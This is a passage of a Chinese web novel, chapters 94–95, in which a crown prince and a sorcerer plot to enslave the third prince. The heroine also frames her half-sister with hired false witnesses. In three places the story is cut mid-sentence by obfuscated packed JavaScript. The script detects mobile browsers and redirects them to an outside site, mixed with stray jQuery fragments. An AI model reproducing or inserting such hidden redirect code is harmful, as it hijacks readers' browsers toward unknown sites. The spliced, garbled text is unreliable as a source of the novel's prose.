空气里,弥漫着一股浓郁的檀香,却怎么也盖不住那丝丝缕缕的血腥气。 一个身穿黑袍,身形枯瘦,整张脸都藏在兜帽阴影里的人,正盘坐于一个诡异的法阵中央。 法阵的线条,是用某种暗红色的液体绘制而成,在昏暗的灯光下,仿佛活物般缓缓蠕动。 “噗——!” 突然,黑袍人身体猛地一震,张口喷出一大口乌黑的鲜血。 那鲜血溅落在法阵上,发出一阵“滋啦”的腐蚀声,冒起阵阵黑烟。 “法师!” 一直侍立在旁,身着明黄色太子常服的靳从行见状,脸色大变,连忙上前一步。 “法师,您怎么了?” 那被称为“法师”的黑袍人,缓缓抬起头。 兜帽的阴影下,露出一张毫无血色,如同**般的脸。 他的声音,沙哑得像是两片砂纸在摩擦。 “阵……破了。” “什么?!” 太子靳从行大惊失色。 “观澜苑的引雷阵,被人破了!” 法师又是一口血咳了出来,气息萎靡到了极点。 “我们……我们精心温养了三年的那具尸偶……也没了。” “被人……连根拔除,魂飞魄散!” 他的语气里,充满了难以置信的惊骇。 “此人道行极高,手段狠辣,绝非寻常之辈!” “若不尽早除去,必会坏了殿下的大事!” 太子靳从行的脸色,瞬间阴沉得能滴出水来。 他的眼中,闪过一丝狠戾的杀意。 “观澜苑……” 他咬着牙,几乎是一字一顿地说道。 “京兆府正在查万贤山庄的案子。” “能找到那里的,只可能有一个人。” “孤的好三弟……靳朝言!” 法师闻言,兜帽下的双眼闪过一丝异色。 “三皇子?” 他沙哑地问道:“据我所知,三皇子靳朝言,乃是沙场上的杀神,一身武艺出神入化,但对玄门之术,应是一窍不通。” “他身边,可有什么厉害的玄术高手?” 太子皱起了眉。 “这个……孤倒是不曾听说。” “他从边城回来,身边带的都是军中亲信,莽夫而已。” “难道是他暗中结识了什么高人?” 太子陷入了沉思。 “不管他是谁。”法师的声音陡然变得阴冷,“此人,绝不可留!” “必须尽快,将其铲除!” 太子眼中杀机毕现,他点了点头,冷声道:“法师放心,孤明白。” 法师缓过一口气:“殿下,他可是你亲弟弟,能下得了这手吗?可要老夫……” “生在天家,从来就没有什么真正的血脉亲情。”靳从行冷笑一声:“挡我路者,神佛亦杀!” 他转身,正欲离开密室,去安排此事。 “殿下,且慢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462589|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >身后的法师,却突然叫住了他。 太子疑惑地回过头。 只见那法师,在黑暗中发出了一阵桀桀的怪笑。 “杀,是下下之策。” “殿下,您想过没有……” “那位三皇子,可是从尸山血海里爬出来的,人间煞神。” “他身上积攒的煞气,乃是这世间最上乘的,炼制‘尸王’的材料啊……” 法师的声音里,透着一股令人不寒而栗的贪婪与狂热。 “若能将他……为我所用……” “那殿下,便不只是如虎添翼了。” “而是……得了一尊,真正的,人间凶神!” 法师的声音在密室中回荡,带着一种蛊惑人心的魔力。 “得了一尊,真正的……人间凶神!” 太子靳从行呼吸一滞,眼中爆发出前所未有的贪婪光芒。 人间凶神…… 若真能将靳朝言那样的杀神炼成只听命于自己的傀儡…… 那这天下,还有谁能阻他?! 他只觉得浑身血液都沸腾了起来,心脏正以前所未有的速度剧烈跳动。 “法师!” 靳从行急切地转身,声音都带上了一丝颤抖。 “需要孤如何做?” 那黑袍法师桀桀怪笑,枯瘦的手指从兜帽下伸出,在空中比划了一下。 “想要炼制‘尸王’,非同小可。” “寻常的生辰八字、毛发指甲,只能施些无伤大雅的小咒术。” “要彻底控制靳朝言这等级数的煞神,需得五样与他性命气运紧密相连的‘命物’。” 靳从行屏住呼吸,洗耳恭听。 “其一,需他战场上,沾染过千人血的战甲残片。” “其二,需他日夜盘握,已然人器合一的兵刃。” “其三,需他高枕无忧时,枕上脱落的发丝三缕。” “其四,需他心甘情愿,毫无防备时,取下的指尖热血一滴。” 法师顿了顿,沙哑的声音带上了一丝玩味。 “这第五样嘛……” “需他那刚过门的新婚妻子,一件贴身的信物。” 靳从行眉头紧锁。 这五样东西,每一样都堪称绝密。 第94章 折骨,名声全毁 战甲早已封存,兵刃从不离身,枕上发丝……谁能潜入他的卧房? 至于指尖血和新婚妻子的信物,更是难如登天。 法师仿佛看穿了他的心思,幽幽道:“殿下,成大事者,不拘小节。此事若成,殿下便可提前二十年,坐上那个位子。” 二十年! 这三个字,如同一柄重锤,狠狠砸在靳从行的心上。 他眼中的犹豫瞬间被狠厉取代。 “法师放心。” 太子冷笑一声,恢复了往日的从容与傲慢。 “别人或许办不到可是他的亲大哥。” “只要略施小计,设个局,还怕他不乖乖入瓮?” “这五样东西,本宫不日便会为法师取来。” 法师闻言,满意地点了点头,身影重新隐没于黑暗之中。 “那……老夫便静候佳音了。” 密室的石门缓缓合上,隔绝了光明。 靳从行站在原地,嘴角勾起一抹势在必得的阴冷笑意。 好三弟,莫怪皇兄心狠。 要怪,就怪你挡了我的路。 你的赫赫战功,你的无边煞气,都将成为我登基路上,最坚实的一块垫脚石! ######## 三皇子府。 当靳朝言一行人处理完观澜苑的收尾工作,回到府中时,天边已经泛起了鱼肚白。 杭玉堂和诸元等人皆是身心俱疲,眼下青黑一片。 “都先下去歇着吧。”靳朝言摆了摆手:“今日之事,任何人不得外传。明日辰时,书房议事。” “是,王爷。” 众人领命退下。 靳朝言一转身,就看到安槐正抱着已经睡熟的团子,小家伙脑袋一点一点的,口水都快流出来了。 他走过去,极其自然地从安槐怀里接过团子。 那动作熟练的,仿佛已经做过千百遍。 安槐挑了挑眉,没说话。 “柳嬷嬷。”靳朝言唤了一声。 守在院门口的柳嬷嬷立刻小跑着上前。 “王爷,王妃。” “把他抱去睡。”靳朝言把团子往柳嬷嬷怀里一塞。 团子被惊动,迷迷糊糊地哼唧了两声,小手还在空中抓了抓,像是在找安槐。 安槐伸出手指,在他眉心轻轻一点。 一缕微不可查的阴气渡了过去,团子瞬间安静下来,砸吧砸吧嘴,睡得更沉了。 柳嬷嬷抱着孩子,看得啧啧称奇,王妃这哄孩子的本事,真是绝了。 处理完小拖油瓶,卧房里,终于只剩下两人。 安槐打了个哈欠,三百年的老鬼,头一次觉得这人类的躯体是如此需要睡眠。 她随手脱下外衫,就准备往床上倒。 “等等。” 靳朝言却拉住了她的手腕。 安槐回头,睡眼惺忪地看着他:“嗯?” “今夜,多谢你。”靳朝言的声音低沉而沙哑。 “客气。”安槐敷衍道:“互惠互利,应该的。” 谁知靳朝言却不肯放手,反而上前一步,将她圈在自己和床榻之间。 “夫人帮了本王这么大一个忙。” 他俯下身,温热的气息喷在安槐的耳廓上。 “本王……总得知恩图报。” 安槐:“……” 倒也不必这么着急。 反正也跑不掉。 靳朝言看了一眼窗外的天色,似乎在认真估算时间。 “现在是寅时末,离天亮还有一个多时辰。” 他一本正经地得出结论。 “时间,尚算充裕。” “可以先小小地报答一下。” 安槐抬起眼皮,面无表情地看着他。 她不睡其实是无所谓的,她能扛好几百年呢。 靳朝言行不行啊? 不过男人不能说不行。 靳朝言肯定行。 次日清晨。 永安侯府的大门刚一打开,准备去三皇子府的永安侯安崇海,差点被门口的阵仗闪了腰。 只见一个穿着破旧短打,流里流气的混混,正大马金刀地堵在门口。 他手里还高高举着一件东西。 那是一件……粉色的,绣着并蒂莲的……肚兜。 “让开让开!”管家王伯气得直哆嗦:“哪里来的泼皮无赖,敢在侯府门前撒野!” 那混混不仅不惧,反而眼睛一亮,扯着嗓子就喊了起来。 “哎哟!侯爷!岳父大人!” “小婿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463181|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总算是见到您了!” “小婿李二狗,前来拜见岳父大人!” 这一嗓子,中气十足,穿透力极强。 瞬间,周围准备出门的、路过的、看热闹的,目光“唰”地一下,全都聚焦在了永安侯府门口。 安崇海的脸,当场就绿了。 岳父? 他什么时候多了这么一个上不了台面的女婿? “你……你胡说八道什么!”安崇海气得手指都在发抖:“给我赶走!” “别啊岳父大人!” 李二狗敏捷地一闪,躲开上前的家丁,将手里的肚兜抖得更欢了。 “您可不能提上裤子就不认人啊!” “哦不,是您女儿不能穿上裙子就不认小婿啊!” “这可是贵府二小姐,安明珠小姐的贴身之物!” “我俩早已私定终身,情投意合,这肚兜便是定情信物!” “您看这上面的并蒂莲,绣得多好,就跟我俩的感情似的,如胶似漆,忒!” 安崇海眼前一黑,差点一口气没上来。 安明珠? 他的宝贝女儿? 跟这么一个地痞流氓私定终身? 这简直是天大的笑话!是泼天大的脏水! 安明珠私会靳朝言他都不太能接受,更别提眼前这地痞。 “污蔑!纯属污蔑!” 安崇海怒吼道:“我的女儿乃是大家闺秀,岂会与你这种人有染!别以为你随便拿个什么东西,就能招摇撞骗!你这是死罪!” “我冤枉啊!”李二狗大喊:“我李二狗是穷,但从不干那偷鸡摸狗的事!这肚兜,是明珠小姐亲手给我的!” “你放屁!” “我有人证!” 李二狗梗着脖子喊道:“昨夜三更,安二小姐约了我在月亮河边私会,这肚兜,就是她塞给我的。” 安崇海气笑了:“夜半三更,你自己算什么人证!” “谁说我一个人?” 李二狗朝着围观人群一指。 “昨晚我们兄弟几个吃酒回来,正好路过!不止我,他们都看见了!” 人群中,几个同样打扮的混混立刻点头附和。 “对对对,我们都看见了!” 第95章 折骨,是我害你又如何 安崇海还想辩驳,人群里却走出一个穿着儒衫的书生。 书生拱了拱手,面带难色地说道:“侯爷,学生……昨夜温书晚了,出门透气,也……也确实看见安二小姐,后来还是侯府的家家丁把人带走的。” 紧接着,一个早起开门的包子铺老板也缩着脖子开口。 “是……是啊侯爷,小人也看见了……” 一个,两个,三个…… 站出来的“证人”,不仅有地痞流氓,还有正经人家的百姓。 他们不可能都合起伙来说谎。 安崇海的脸色,从铁青,变成了煞白。 这怎么可能,他要疯了。 昨晚上,安明珠确实是被侯府家丁带回去的,但是半夜怎么可能被这么多人看见。 何况,哪有这个混混。 他心里咯噔一声,顿时明白。 这是被人做了局。 虽然不知道是谁,但这是想要安明珠的命啊。 京城里的流言,跑得比风都快。 永安侯府二小姐安明珠,半夜与人私会,还送了贴身肚兜当信物。 这消息若是传开,安明珠除了一根白绫吊死,还有什么出路? ####### 芳菲院。 “啊——!” 安明珠将梳妆台上的瓶瓶罐罐尽数扫落在地,发出一阵噼里啪啦的脆响。 她的眼睛通红,状若疯癫。 “不是我!我没有!” “我怎么可能跟那种人有关系!” 侯夫人坐在一旁,气得心口疼,却还是强撑着问一旁吓得瑟瑟发抖的丫鬟满冬。 “说!昨晚到底怎么回事!” 满冬能说啥,她没见着人就被打昏了,什么都不知道。 安明珠一口咬定。 “昨天晚上我去见的人,真的是三皇子的人,女儿又不傻,怎么会私会混混?” 她虽然嘴硬,但现在心里隐约有点担心。 如果这是个局,那害她的人还能有谁? 那个名字呼之欲出,但她不敢深想。 不可能,不可能。 安槐不过是庄子长大的一个农户女儿,怎么可能有如此计策。 “爹!娘!你们要为我做主啊!” 安明珠跪在地上哭:“昨晚上约了女儿的,就是三皇子,绝不可能是别人。” 安崇海一拍桌子。 “去三皇子府!” …… 三皇子府,书房。 靳朝言正在和众人商量昨夜之事。 鬼神之谈先放一放,如今最要紧的,是舞女折骨一案。 定要找到确凿证据。 只要找到,就能让靳从行元气大伤,说不定这太子之位都坐不稳了。 还没说完,管家就急匆匆地跑了进来。 “王爷,不好了,永安侯带着安家二小姐,气势汹汹的来了!” 靳朝言眉头一皱。 安槐一听,笑了。 来得还挺快。 客厅里。 安崇海看见靳朝言,脸色很差。 安明珠更是哭得梨花带雨,仿佛受了天大的委屈。 “三殿下,明珠到底哪里得罪了您,您要用这种下作的手段来毁了她的清白!” 靳朝言听完他们的哭诉,面无表情。 他甚至觉得有些荒谬。 他有那么闲吗? “侯爷是说,本王派亲信,深夜邀请二小姐见面?” “正是!”安明珠抢着说道:“那人我亲眼所见,定是殿下身边的人,他有殿下的令牌。” 靳朝言扯了扯嘴角,露出一丝冷嘲。 “杭玉堂。” “属下在。” “把本王王府里所有亲信,都叫过来。” “是。” 片刻之后,杭玉堂、诸元、时逸明、黎四、黎五等人,一字排开,站在客厅中央。 个个身形挺拔,气势凛然。 靳朝言抬了抬下巴,看向安明珠。 “安二小姐,你且认认。” “昨夜邀请你的,是哪一位?” 安明珠瞪大了眼睛,一个一个地看过去。 可是,看来看去,这里面,根本没有昨晚那个人! 怎么会? 她明明记得那人的长相! “不……不是他们……”安明珠喃喃自语,脸色惨白。 “一个都不在?”靳朝言的语气带上了一丝不耐。 “不在……” 靳朝言冷笑一声,目光如刀子般刮在安明珠脸上。 “安二小姐。” “本王刚与你长姐成婚,新婚燕尔,感情甚笃。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17466309|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“就算本王有心纳妾,也断然不会做出让姐妹共侍一夫,此等有违人伦、惹人耻笑之事。” “坊间流言,本王也有所耳闻。” “究竟是你识人不清,被人蒙骗,还是你思慕王府富贵,想攀高枝想疯了,自导自演了这么一出闹剧,本王没兴趣追究。” “但若再敢将脏水泼到本王头上……” 他眼中杀气一闪而过。 “休怪本王,不念你与王妃那点稀薄的姐妹之情。” “本王虽刚回京城,不似旁的皇子权势滔天,也是皇子之尊,容不得人肆意污蔑。” 一番话,说得安明珠浑身冰冷,如坠冰窟。 周围下人们看她的眼神,充满了鄙夷和嘲讽。 完了。 所有人都觉得,是她想抢姐姐的男人,想疯了。 她的名声,彻底毁了。 就在安明珠绝望之际,一只手轻轻扶住了她。 是安槐。 “妹妹,别哭了。” 安槐的声音很轻,带着一丝恰到好处的关切。 她拿出手帕,温柔地替安明珠擦拭眼泪。 “王爷性子冷,你别往心里去。” 安明珠像是找到了宣泄口,哭得更大声了。 安槐轻轻拍着她的背,凑到她耳边,用只有两个人能听到的声音,低声说道。 “我知道你没有。” 安明珠一愣。 只听安槐继续用那温柔得令人发指的语调,在她耳边,一字一句,清晰地说道: “因为这件事情,是我安排的。” “昨晚的人,是我找的。” “门口的混混,是我雇的。” “妹妹,这个惊喜,你喜欢吗?” 安明珠的哭声,戛然而止。 她猛地抬起头,难以置信地看着安槐那张带着浅笑的脸。 那笑容,明明温婉和煦,却让她如见恶鬼! “你……” 安槐的笑容不变,眼底却是一片冰冷的深渊。 “我在庄子里那十八年,你派人三番五次想弄死我,都没能成功。” “现在,后悔吗?” “安明珠,我告诉过你的。” “你做的每一件事情,都会有报应的。” “现在,只是个开始。”